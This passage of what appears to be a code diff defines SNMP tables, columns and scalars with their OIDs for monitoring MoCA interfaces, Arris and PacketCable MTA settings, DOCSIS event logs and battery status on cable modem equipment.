66); +mocaIfConfigTable.mocaIfPhyThresholdEnable = new Column("mocaIfPhyThresholdEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.12", 2); +mocaIfConfigTable.mocaIfStatusChangeEnable = new Column("mocaIfStatusChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.13", 2); +mocaIfConfigTable.mocaIfNumNodesChangeEnable = new Column("mocaIfNumNodesChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.14", 2); +var mocaIfEnable = mocaIfConfigTable.mocaIfEnable; +var mocaIfChannelMask = mocaIfConfigTable.mocaIfChannelMask; +var mocaIfPowerControl = mocaIfConfigTable.mocaIfPowerControl; +var mocaIfTxPowerLimit = mocaIfConfigTable.mocaIfTxPowerLimit; +var mocaIfBeaconPowerLimit = mocaIfConfigTable.mocaIfBeaconPowerLimit; +var mocaIfPowerControlTargetRate = mocaIfConfigTable.mocaIfPowerControlTargetRate; +var mocaIfPrivacyEnable = mocaIfConfigTable.mocaIfPrivacyEnable; +var mocaIfPassword = mocaIfConfigTable.mocaIfPassword; +var mocaIfPreferredNC = mocaIfConfigTable.mocaIfPreferredNC; +var mocaIfAccessEnable = mocaIfConfigTable.mocaIfAccessEnable; +var mocaIfPhyThreshold = mocaIfConfigTable.mocaIfPhyThreshold; +var mocaIfPhyThresholdEnable = mocaIfConfigTable.mocaIfPhyThresholdEnable; +var mocaIfStatusChangeEnable = mocaIfConfigTable.mocaIfStatusChangeEnable; +var mocaIfNumNodesChangeEnable = mocaIfConfigTable.mocaIfNumNodesChangeEnable; + +var mocaIfAccessTable = new Table("mocaIfAccessTable", "1.3.6.1.4.1.31621.1.1.1.2"); +mocaIfAccessTable.mocaIfAccessIndex = new Column("mocaIfAccessIndex", "1.3.6.1.4.1.31621.1.1.1.2.1.1", 2); +mocaIfAccessTable.mocaIfAccessMacAddress = new Column("mocaIfAccessMacAddress", "1.3.6.1.4.1.31621.1.1.1.2.1.2", 4,1); +mocaIfAccessTable.mocaIfAccessStatus = new Column("mocaIfAccessStatus", "1.3.6.1.4.1.31621.1.1.1.2.1.3", 2); +var mocaIfAccessIndex = mocaIfAccessTable.mocaIfAccessIndex; +var mocaIfAccessMacAddress = mocaIfAccessTable.mocaIfAccessMacAddress; +var mocaIfAccessStatus = mocaIfAccessTable.mocaIfAccessStatus; + +var mocaIfStatusTable = new Table("mocaIfStatusTable", "1.3.6.1.4.1.31621.1.1.1.3"); +mocaIfStatusTable.mocaIfStatus = new Column("mocaIfStatus", "1.3.6.1.4.1.31621.1.1.1.3.1.1", 2); +mocaIfStatusTable.mocaIfLinkUpTime = new Column("mocaIfLinkUpTime", "1.3.6.1.4.1.31621.1.1.1.3.1.2", 66); +mocaIfStatusTable.mocaIfSoftwareVersion = new Column("mocaIfSoftwareVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.3", 4); +mocaIfStatusTable.mocaIfMocaVersion = new Column("mocaIfMocaVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.4", 2); +mocaIfStatusTable.mocaIfNetworkVersion = new Column("mocaIfNetworkVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.5", 2); +mocaIfStatusTable.mocaIfMacAddress = new Column("mocaIfMacAddress", "1.3.6.1.4.1.31621.1.1.1.3.1.6", 4,1); +mocaIfStatusTable.mocaIfNodeID = new Column("mocaIfNodeID", "1.3.6.1.4.1.31621.1.1.1.3.1.7", 66); +mocaIfStatusTable.mocaIfName = new Column("mocaIfName", "1.3.6.1.4.1.31621.1.1.1.3.1.8", 4); +mocaIfStatusTable.mocaIfNumNodes = new Column("mocaIfNumNodes", "1.3.6.1.4.1.31621.1.1.1.3.1.9", 66); +mocaIfStatusTable.mocaIfNC = new Column("mocaIfNC", "1.3.6.1.4.1.31621.1.1.1.3.1.10", 66); +mocaIfStatusTable.mocaIfBackupNC = new Column("mocaIfBackupNC", "1.3.6.1.4.1.31621.1.1.1.3.1.11", 66); +mocaIfStatusTable.mocaIfRFChannel = new Column("mocaIfRFChannel", "1.3.6.1.4.1.31621.1.1.1.3.1.12", 2); +mocaIfStatusTable.mocaIfLOF = new Column("mocaIfLOF", "1.3.6.1.4.1.31621.1.1.1.3.1.13", 2); +mocaIfStatusTable.mocaIfTabooChannelMask = new Column("mocaIfTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.14", 66); +mocaIfStatusTable.mocaIfNodeTabooChannelMask = new Column("mocaIfNodeTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.15", 66); +mocaIfStatusTable.mocaIfCapabilityMask = new Column("mocaIfCapabilityMask", "1.3.6.1.4.1.31621.1.1.1.3.1.16", 66); +mocaIfStatusTable.mocaIfTxGcdPowerReduction = new Column("mocaIfTxGcdPowerReduction", "1.3.6.1.4.1.31621.1.1.1.3.1.17", 66); +mocaIfStatusTable.mocaIfQAM256Capable = new Column("mocaIfQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.3.1.18", 2); +mocaIfStatusTable.mocaIfPacketsAggrCapability = new Column("mocaIfPacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.3.1.19", 2); +mocaIfStatusTable.mocaIfMaxIngressNodeBw = new Column("mocaIfMaxIngressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.20", 66); +mocaIfStatusTable.mocaIfMaxEgressNodeBw = new Column("mocaIfMaxEgressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.21", 66); +mocaIfStatusTable.mocaIfTxGcdRate = new Column("mocaIfTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.3.1.22", 66); +var mocaIfStatus = mocaIfStatusTable.mocaIfStatus; +var mocaIfLinkUpTime = mocaIfStatusTable.mocaIfLinkUpTime; +var mocaIfSoftwareVersion = mocaIfStatusTable.mocaIfSoftwareVersion; +var mocaIfMocaVersion = mocaIfStatusTable.mocaIfMocaVersion; +var mocaIfNetworkVersion = mocaIfStatusTable.mocaIfNetworkVersion; +var mocaIfMacAddress = mocaIfStatusTable.mocaIfMacAddress; +var mocaIfNodeID = mocaIfStatusTable.mocaIfNodeID; +var mocaIfName = mocaIfStatusTable.mocaIfName; +var mocaIfNumNodes = mocaIfStatusTable.mocaIfNumNodes; +var mocaIfNC = mocaIfStatusTable.mocaIfNC; +var mocaIfBackupNC = mocaIfStatusTable.mocaIfBackupNC; +var mocaIfRFChannel = mocaIfStatusTable.mocaIfRFChannel; +var mocaIfLOF = mocaIfStatusTable.mocaIfLOF; +var mocaIfTabooChannelMask = mocaIfStatusTable.mocaIfTabooChannelMask; +var mocaIfNodeTabooChannelMask = mocaIfStatusTable.mocaIfNodeTabooChannelMask; +var mocaIfCapabilityMask = mocaIfStatusTable.mocaIfCapabilityMask; +var mocaIfTxGcdPowerReduction = mocaIfStatusTable.mocaIfTxGcdPowerReduction; +var mocaIfQAM256Capable = mocaIfStatusTable.mocaIfQAM256Capable; +var mocaIfPacketsAggrCapability = mocaIfStatusTable.mocaIfPacketsAggrCapability; +var mocaIfMaxIngressNodeBw = mocaIfStatusTable.mocaIfMaxIngressNodeBw; +var mocaIfMaxEgressNodeBw = mocaIfStatusTable.mocaIfMaxEgressNodeBw; +var mocaIfTxGcdRate = mocaIfStatusTable.mocaIfTxGcdRate; + +var mocaIfStatsTable = new Table("mocaIfStatsTable", "1.3.6.1.4.1.31621.1.1.1.4"); +mocaIfStatsTable.mocaIfTxPackets = new Column("mocaIfTxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.1", 65); +mocaIfStatsTable.mocaIfTxDrops = new Column("mocaIfTxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.2", 65); +mocaIfStatsTable.mocaIfRxPackets = new Column("mocaIfRxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.3", 65); +mocaIfStatsTable.mocaIfRxCorrectedErrors = new Column("mocaIfRxCorrectedErrors", "1.3.6.1.4.1.31621.1.1.1.4.1.4", 65); +mocaIfStatsTable.mocaIfRxDrops = new Column("mocaIfRxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.5", 65); +mocaIfStatsTable.mocaIfEgressNodeNumFlows = new Column("mocaIfEgressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.6", 66); +mocaIfStatsTable.mocaIfIngressNodeNumFlows = new Column("mocaIfIngressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.7", 66); +var mocaIfTxPackets = mocaIfStatsTable.mocaIfTxPackets; +var mocaIfTxDrops = mocaIfStatsTable.mocaIfTxDrops; +var mocaIfRxPackets = mocaIfStatsTable.mocaIfRxPackets; +var mocaIfRxCorrectedErrors = mocaIfStatsTable.mocaIfRxCorrectedErrors; +var mocaIfRxDrops = mocaIfStatsTable.mocaIfRxDrops; +var mocaIfEgressNodeNumFlows = mocaIfStatsTable.mocaIfEgressNodeNumFlows; +var mocaIfIngressNodeNumFlows = mocaIfStatsTable.mocaIfIngressNodeNumFlows; + +var mocaIfFlowStatsTable = new Table("mocaIfFlowStatsTable", "1.3.6.1.4.1.31621.1.1.1.5"); +mocaIfFlowStatsTable.mocaIfFlowIndex = new Column("mocaIfFlowIndex", "1.3.6.1.4.1.31621.1.1.1.5.1.1", 2); +mocaIfFlowStatsTable.mocaIfFlowID = new Column("mocaIfFlowID", "1.3.6.1.4.1.31621.1.1.1.5.1.2", 4); +mocaIfFlowStatsTable.mocaIfPacketDA = new Column("mocaIfPacketDA", "1.3.6.1.4.1.31621.1.1.1.5.1.3", 4,1); +mocaIfFlowStatsTable.mocaIfPeakDataRate = new Column("mocaIfPeakDataRate", "1.3.6.1.4.1.31621.1.1.1.5.1.4", 66); +mocaIfFlowStatsTable.mocaIfBurstSize = new Column("mocaIfBurstSize", "1.3.6.1.4.1.31621.1.1.1.5.1.5", 66); +mocaIfFlowStatsTable.mocaIfLeaseTime = new Column("mocaIfLeaseTime", "1.3.6.1.4.1.31621.1.1.1.5.1.6", 66); +mocaIfFlowStatsTable.mocaIfFlowTag = new Column("mocaIfFlowTag", "1.3.6.1.4.1.31621.1.1.1.5.1.7", 66); +mocaIfFlowStatsTable.mocaIfLeaseTimeLeft = new Column("mocaIfLeaseTimeLeft", "1.3.6.1.4.1.31621.1.1.1.5.1.8", 66); +mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr = new Column("mocaIfTxPacketsOnePacketAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.9", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr = new Column("mocaIfTxPacketsTwoPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.10", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr = new Column("mocaIfTxPacketsThreePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.11", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr = new Column("mocaIfTxPacketsFourPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.12", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr = new Column("mocaIfTxPacketsFivePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.13", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr = new Column("mocaIfTxPacketsSixPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.14", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr = new Column("mocaIfTxPacketsSevenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.15", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr = new Column("mocaIfTxPacketsEightPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.16", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr = new Column("mocaIfTxPacketsNinePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.17", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr = new Column("mocaIfTxPacketsTenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.18", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFlow = new Column("mocaIfTxPacketsFlow", "1.3.6.1.4.1.31621.1.1.1.5.1.19", 66); +var mocaIfFlowIndex = mocaIfFlowStatsTable.mocaIfFlowIndex; +var mocaIfFlowID = mocaIfFlowStatsTable.mocaIfFlowID; +var mocaIfPacketDA = mocaIfFlowStatsTable.mocaIfPacketDA; +var mocaIfPeakDataRate = mocaIfFlowStatsTable.mocaIfPeakDataRate; +var mocaIfBurstSize = mocaIfFlowStatsTable.mocaIfBurstSize; +var mocaIfLeaseTime = mocaIfFlowStatsTable.mocaIfLeaseTime; +var mocaIfFlowTag = mocaIfFlowStatsTable.mocaIfFlowTag; +var mocaIfLeaseTimeLeft = mocaIfFlowStatsTable.mocaIfLeaseTimeLeft; +var mocaIfTxPacketsOnePacketAggr = mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr; +var mocaIfTxPacketsTwoPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr; +var mocaIfTxPacketsThreePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr; +var mocaIfTxPacketsFourPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr; +var mocaIfTxPacketsFivePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr; +var mocaIfTxPacketsSixPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr; +var mocaIfTxPacketsSevenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr; +var mocaIfTxPacketsEightPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr; +var mocaIfTxPacketsNinePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr; +var mocaIfTxPacketsTenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr; +var mocaIfTxPacketsFlow = mocaIfFlowStatsTable.mocaIfTxPacketsFlow; + +var mocaNodeTable = new Table("mocaNodeTable", "1.3.6.1.4.1.31621.1.1.1.6"); +mocaNodeTable.mocaNodeIndex = new Column("mocaNodeIndex", "1.3.6.1.4.1.31621.1.1.1.6.1.1", 66); +mocaNodeTable.mocaNodeMocaVersion = new Column("mocaNodeMocaVersion", "1.3.6.1.4.1.31621.1.1.1.6.1.2", 2); +mocaNodeTable.mocaNodeMacAddress = new Column("mocaNodeMacAddress", "1.3.6.1.4.1.31621.1.1.1.6.1.3", 4,1); +mocaNodeTable.mocaNodeTxGcdRate = new Column("mocaNodeTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.6.1.4", 66); +mocaNodeTable.mocaNodeRxGcdPower = new Column("mocaNodeRxGcdPower", "1.3.6.1.4.1.31621.1.1.1.6.1.5", 2); +mocaNodeTable.mocaNodeTxPowerReduction = new Column("mocaNodeTxPowerReduction", "1.3.6.1.4.1.31621.1.1.1.6.1.6", 66); +mocaNodeTable.mocaNodeRxPower = new Column("mocaNodeRxPower", "1.3.6.1.4.1.31621.1.1.1.6.1.7", 2); +mocaNodeTable.mocaNodePreferredNC = new Column("mocaNodePreferredNC", "1.3.6.1.4.1.31621.1.1.1.6.1.8", 2); +mocaNodeTable.mocaNodeQAM256Capable = new Column("mocaNodeQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.6.1.9", 2); +mocaNodeTable.mocaNodePacketsAggrCapability = new Column("mocaNodePacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.6.1.10", 2); +mocaNodeTable.mocaNodeRxPackets = new Column("mocaNodeRxPackets", "1.3.6.1.4.1.31621.1.1.1.6.1.11", 65); +mocaNodeTable.mocaNodeRxCorrected = new Column("mocaNodeRxCorrected", "1.3.6.1.4.1.31621.1.1.1.6.1.12", 65); +mocaNodeTable.mocaNodeRxDrops = new Column("mocaNodeRxDrops", "1.3.6.1.4.1.31621.1.1.1.6.1.13", 65); +mocaNodeTable.mocaNodeSNR = new Column("mocaNodeSNR", "1.3.6.1.4.1.31621.1.1.1.6.1.14", 66); +var mocaNodeIndex = mocaNodeTable.mocaNodeIndex; +var mocaNodeMocaVersion = mocaNodeTable.mocaNodeMocaVersion; +var mocaNodeMacAddress = mocaNodeTable.mocaNodeMacAddress; +var mocaNodeTxGcdRate = mocaNodeTable.mocaNodeTxGcdRate; +var mocaNodeRxGcdPower = mocaNodeTable.mocaNodeRxGcdPower; +var mocaNodeTxPowerReduction = mocaNodeTable.mocaNodeTxPowerReduction; +var mocaNodeRxPower = mocaNodeTable.mocaNodeRxPower; +var mocaNodePreferredNC = mocaNodeTable.mocaNodePreferredNC; +var mocaNodeQAM256Capable = mocaNodeTable.mocaNodeQAM256Capable; +var mocaNodePacketsAggrCapability = mocaNodeTable.mocaNodePacketsAggrCapability; +var mocaNodeRxPackets = mocaNodeTable.mocaNodeRxPackets; +var mocaNodeRxCorrected = mocaNodeTable.mocaNodeRxCorrected; +var mocaNodeRxDrops = mocaNodeTable.mocaNodeRxDrops; +var mocaNodeSNR = mocaNodeTable.mocaNodeSNR; + +var mocaMeshTable = new Table("mocaMeshTable", "1.3.6.1.4.1.31621.1.1.1.7"); +mocaMeshTable.mocaMeshTxNodeIndex = new Column("mocaMeshTxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.1", 66); +mocaMeshTable.mocaMeshRxNodeIndex = new Column("mocaMeshRxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.2", 66); +mocaMeshTable.mocaMeshTxRate = new Column("mocaMeshTxRate", "1.3.6.1.4.1.31621.1.1.1.7.1.3", 66); +var mocaMeshTxNodeIndex = mocaMeshTable.mocaMeshTxNodeIndex; +var mocaMeshRxNodeIndex = mocaMeshTable.mocaMeshRxNodeIndex; +var mocaMeshTxRate = mocaMeshTable.mocaMeshTxRate; + +var mocaBridgeTable = new Table("mocaBridgeTable", "1.3.6.1.4.1.31621.1.1.1.8"); +mocaBridgeTable.mocaBridgeNodeIndex = new Column("mocaBridgeNodeIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.1", 66); +mocaBridgeTable.mocaBridgeMacIndex = new Column("mocaBridgeMacIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.2", 2); +mocaBridgeTable.mocaBridgeMacAddress = new Column("mocaBridgeMacAddress", "1.3.6.1.4.1.31621.1.1.1.8.1.3", 4,1); +var mocaBridgeNodeIndex = mocaBridgeTable.mocaBridgeNodeIndex; +var mocaBridgeMacIndex = mocaBridgeTable.mocaBridgeMacIndex; +var mocaBridgeMacAddress = mocaBridgeTable.mocaBridgeMacAddress; + + +var arrisMtaDevLineCardTable = new Table("arrisMtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +arrisMtaDevLineCardTable.LineNumber = new Column("arrisMtaDevLineCardLineNumber","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.1",2); +arrisMtaDevLineCardTable.State = new Column("arrisMtaDevLineCardState","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2",2); +var arrisMtaDevLineCardLineNumber=arrisMtaDevLineCardTable.LineNumber; +var arrisMtaDevLineCardState=arrisMtaDevLineCardTable.State; + + +var arrisMtaDevDhcpMtaParameters = new Container("arrisMtaDevDhcpMtaParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.1"); +arrisMtaDevDhcpMtaParameters.MtaIpFQDN = new Scalar("arrisMtaDevDhcpMtaIpFQDN","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1",4); +arrisMtaDevDhcpMtaParameters.MtaIpAddr = new Scalar("arrisMtaDevDhcpMtaIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.2",4,1); +arrisMtaDevDhcpMtaParameters.MtaSubNetMask = new Scalar("arrisMtaDevDhcpMtaSubNetMask","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.3",4,1); +arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr = new Scalar("arrisMtaDevDhcpMtaGatewayIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.4",4,1); +arrisMtaDevDhcpMtaParameters.MtaConfigFile = new Scalar("arrisMtaDevDhcpMtaConfigFile","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.5",4); +var arMtaDevDhcpMtaIpFQDN = arrisMtaDevDhcpMtaParameters.MtaIpFQDN; +var arMtaDevDhcpMtaIpAddr = arrisMtaDevDhcpMtaParameters.MtaIpAddr; +var arMtaDevDhcpMtaSubNetMask = arrisMtaDevDhcpMtaParameters.MtaSubNetMask; +var arMtaDevDhcpMtaGatewayIpAddr = arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr; +var arMtaDevDhcpMtaConfigFile = arrisMtaDevDhcpMtaParameters.MtaConfigFile; + + +var arrisMtaDevDhcpLeaseParameters = new Container("arrisMtaDevDhcpLeaseParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.3"); +arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime = new Scalar("arrisMtaDevDhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.1",4,1); +arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining = new Scalar("arrisMtaDevDhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.2",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRenew = new Scalar("arrisMtaDevDhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.3",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRebind = new Scalar("arrisMtaDevDhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.4",4,1); +var arMtaDevDhcpOfferedLeaseTime = arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime; +var arMtaDevDhcpLeaseTimeRemaining = arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining; +var arMtaDevDhcpTimeUntilRenew = arrisMtaDevDhcpLeaseParameters.TimeUntilRenew; +var arMtaDevDhcpTimeUntilRebind = arrisMtaDevDhcpLeaseParameters.TimeUntilRebind; + +var arrisMtaDevDhcpSvrParameters = new Container("arrisMtaDevDhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.2"); +arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpPrimaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.4",4,1); +arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpSecondaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.5",4,1); +var arMtaDevDhcpPrimaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr; +var arMtaDevDhcpSecondaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr; + +var arrisMtaDevDhcpPktcOptParameters = new Container("arrisMtaDevDhcpPktcOptParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.4"); +arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity = new Scalar("arrisMtaDevDhcpSvcProviderSnmpEntity","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.2",4,1); +arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn = new Scalar("arrisMtaDevDhcpKerberosRealmFqdn","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.3",4,1); +arrisMtaDevDhcpPktcOptParameters.RequestTgt = new Scalar("arrisMtaDevDhcpRequestTgt","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.4",4); +arrisMtaDevDhcpPktcOptParameters.ProvTimer = new Scalar("arrisMtaDevDhcpProvTimer","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.5",2); +var arMtaDevDhcpSvcProviderSnmpEntity = arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity; +var arMtaDevDhcpKerberosRealmFqdn = arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn; +var arMtaDevDhcpRequestTgt = arrisMtaDevDhcpPktcOptParameters.RequestTgt; +var arMtaDevDhcpProvTimer = arrisMtaDevDhcpPktcOptParameters.ProvTimer; + +var pktcMtaDevBase = new Container("pktcMtaDevBase", "1.3.6.1.4.1.4491.2.2.1.1.1"); +pktcMtaDevBase.Enabled = new Scalar("pktcMtaDevEnabled", "1.3.6.1.4.1.4491.2.2.1.1.1.7",2); +var pktcMtaDevEnabled = pktcMtaDevBase.Enabled; + +var pktcSigDevConfigObjects = new Container("pktcSigDevConfigObjects", "1.3.6.1.4.1.4491.2.2.2.1.1"); +pktcSigDevConfigObjects.DefCallSigTos = new Scalar("pktcSigDefCallSigTos", "1.3.6.1.4.1.4491.2.2.2.1.1.8",2); +pktcSigDevConfigObjects.DefMediaStreamTos = new Scalar("pktcSigDefMediaStreamTos", "1.3.6.1.4.1.4491.2.2.2.1.1.9",2); +var pktcSigDefCallSigTos = pktcSigDevConfigObjects.DefCallSigTos; +var pktcSigDefMediaStreamTos = pktcSigDevConfigObjects.DefMediaStreamTos; + +var pktcMtaDevRealmEntry = new Container("pktcMtaDevRealmEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1"); +pktcMtaDevRealmEntry.OrgName = new Scalar("pktcMtaDevRealmOrgName", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.4",4); +pktcMtaDevRealmEntry.PkinitGracePeriod = new Scalar("pktcMtaDevRealmPkinitGracePeriod ", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.2",2); +var pktcMtaDevRealmOrgName = pktcMtaDevRealmEntry.OrgName; +var pktcMtaDevRealmPkinitGracePeriod = pktcMtaDevRealmEntry.PkinitGracePeriod; + +var pktcMtaDevCmsEntry = new Container("pktcMtaDevCmsEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1"); +pktcMtaDevCmsEntry.KerbRealmName = new Scalar("pktcMtaDevCmsKerbRealmName", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.2",4); +pktcMtaDevCmsEntry.SolicitedKeyTimeout = new Scalar("pktcMtaDevCmsSolicitedKeyTimeout", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.4",2); +pktcMtaDevCmsEntry.IpsecCtrl = new Scalar("pktcMtaDevCmsIpsecCtrl", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.10",2); +var pktcMtaDevCmsKerbRealmName = pktcMtaDevCmsEntry.KerbRealmName; +var pktcMtaDevCmsSolicitedKeyTimeout = pktcMtaDevCmsEntry.SolicitedKeyTimeout; +var pktcMtaDevCmsIpsecCtrl = pktcMtaDevCmsEntry.IpsecCtrl; + +var pktcNcsEndPntConfigEntry = new Container("pktcNcsEndPntConfigEntry", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1"); +pktcNcsEndPntConfigEntry.CallAgentId = new Scalar("pktcNcsEndPntConfigCallAgentId", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.1",4); +pktcNcsEndPntConfigEntry.CallAgentUdpPort = new Scalar("pktcNcsEndPntConfigCallAgentUdpPort", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.2",2); +pktcNcsEndPntConfigEntry.MWD = new Scalar("pktcNcsEndPntConfigMWD", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.18",2); +var pktcNcsEndPntConfigCallAgentId = pktcNcsEndPntConfigEntry.CallAgentId; +var pktcNcsEndPntConfigCallAgentUdpPort = pktcNcsEndPntConfigEntry.CallAgentUdpPort; +var pktcNcsEndPntConfigMWD = pktcNcsEndPntConfigEntry.MWD; + + +var docsDevEventTable = new Table("docsDevEventTable", "1.3.6.1.2.1.69.1.5.8"); +docsDevEventTable.EvFirstTime = new Column("docsDevEvFirstTime","1.3.6.1.2.1.69.1.5.8.1.2",4,1); +docsDevEventTable.EvLastTime = new Column("docsDevEvLastTime","1.3.6.1.2.1.69.1.5.8.1.3",4,1); +docsDevEventTable.EvText = new Column("docsDevEvText","1.3.6.1.2.1.69.1.5.8.1.7",4); +var docsDevEvFirstTime=docsDevEventTable.EvFirstTime; +var docsDevEvLastTime=docsDevEventTable.EvLastTime; +var docsDevEvText=docsDevEventTable.EvText; + + + +// + + +//battery + + +// +var upsBattery = new Container("upsBattery", "1.3.6.1.2.1.33.1.2"); +upsBattery.upsBatteryStatus = new Scalar("upsBatteryStatus", "1.3.6.1.2.1.33.1.2.1", 2); + +var MtaDevBatteryStatusTable = new Table("MtaDevBatteryStatusTable", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3"); +MtaDevBatteryStatusTable.MtaDevBatteryOperState = new Column("MtaDevBatteryOperState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.2", 2); +MtaDevBatteryStatusTable.MtaDevBatteryOperSubState = new Column("MtaDevBatteryOperSubState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.4", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode = new Column("MtaDevBatteryOrderingCode", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.5", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryEprom = new Column("MtaDevBatteryEprom", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.6", 4,1); + +var MtaDevPwrSupplyStats = new Container("MtaDevPwrSupplyStats", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes = new Scalar("MtaDevPwrSupplyBatRatedMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.10", 2); 